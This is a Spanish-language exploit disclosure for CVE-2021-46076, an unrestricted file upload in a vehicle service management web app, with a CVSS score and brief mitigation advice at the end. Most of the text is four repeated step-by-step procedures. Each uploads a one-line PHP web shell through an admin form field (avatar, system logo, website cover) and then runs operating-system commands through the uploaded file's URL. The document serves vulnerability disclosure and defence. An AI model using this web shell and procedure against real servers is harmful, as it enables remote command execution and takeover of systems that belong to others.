CVE-2021-46076
Título del Exploit: Vehicle Service Management System - La carga de archivos 'múltiple' conduce a la ejecución de código
Autor del Exploit: SANU P.L
CVE: CVE-2021-46076
CVSS: 8.8 ALTA
Referencias:
Descripción:
Sourcecodester Vehicle Service Management System 1.0 es vulnerable a la carga de archivos. Un atacante puede subir un archivo php malicioso en múltiples endpoints, lo que conduce a la ejecución de código.
1. Vehicle Service Management System - 'MyAccount' (/admin/?page=user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Navegue hasta la sección My Account http://localhost/vehicle_service/admin/?page=user
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección My Account, introduzca todos los datos requeridos y seleccione el archivo php en Avatar.
- Haga clic en el botón Actualizar.
- Abra la imagen del avatar en una pestaña nueva.
- Añada el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
2. Vehicle Service Management System - 'User List' (/admin/?page=user/manage_user)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección User List y haga clic en el botón Create New.
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la página Create New User, introduzca todos los datos requeridos y seleccione el archivo php en Avatar.
- Haga clic en el botón Guardar.
- Abra la imagen del avatar en una pestaña nueva.
- Añada el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
3. Vehicle Service Management System - 'Settings-System Logo' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección Settings, introduzca todos los datos requeridos y seleccione el archivo php en System Logo.
- Haga clic en el botón Actualizar.
- Abra la imagen del System Logo en una pestaña nueva.
- Añada el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
4. Vehicle Service Management System - 'Settings-Website Cover' (/admin/?page=system_info)
Exploit:
- Inicie sesión en el panel de administración http://localhost/vehicle_service/admin
- Vaya a la sección Settings http://localhost/vehicle_service/admin/?page=system_info
Payload:
<?php system($_GET['cmd']);?>
- Guarde el código php anterior, por ejemplo: Cmd.php
- En la sección Settings, introduzca todos los datos requeridos y seleccione el archivo php en Website Cover.
- Haga clic en el botón Actualizar.
- Abra la imagen del Website Cover en una pestaña nueva.
- Añada el parámetro cmd en la URL y ejecute los comandos.
- URL final: http://localhost/vehicle_service/uploads/1640632740_Cmd.php?cmd=whoami
- Ejecute todos los comandos del sistema, por ejemplo: id, whoami, pwd, etc.
Impacto:
Un atacante puede subir archivos php maliciosos en múltiples endpoints, lo que conduce a la ejecución de código.
Mitigación:
Se recomienda implementar lo siguiente:
- Nunca acepte un nombre de archivo y su extensión directamente sin un filtro de lista blanca.
- Si no es necesario tener caracteres Unicode, se recomienda encarecidamente aceptar únicamente caracteres alfanuméricos y un solo punto como entrada para el nombre de archivo y la extensión.
- Limite el tamaño del archivo a un valor máximo para prevenir ataques de denegación de servicio.
- El directorio de carga no debe tener ningún permiso de «ejecución».
- No confíe únicamente en la validación del lado del cliente.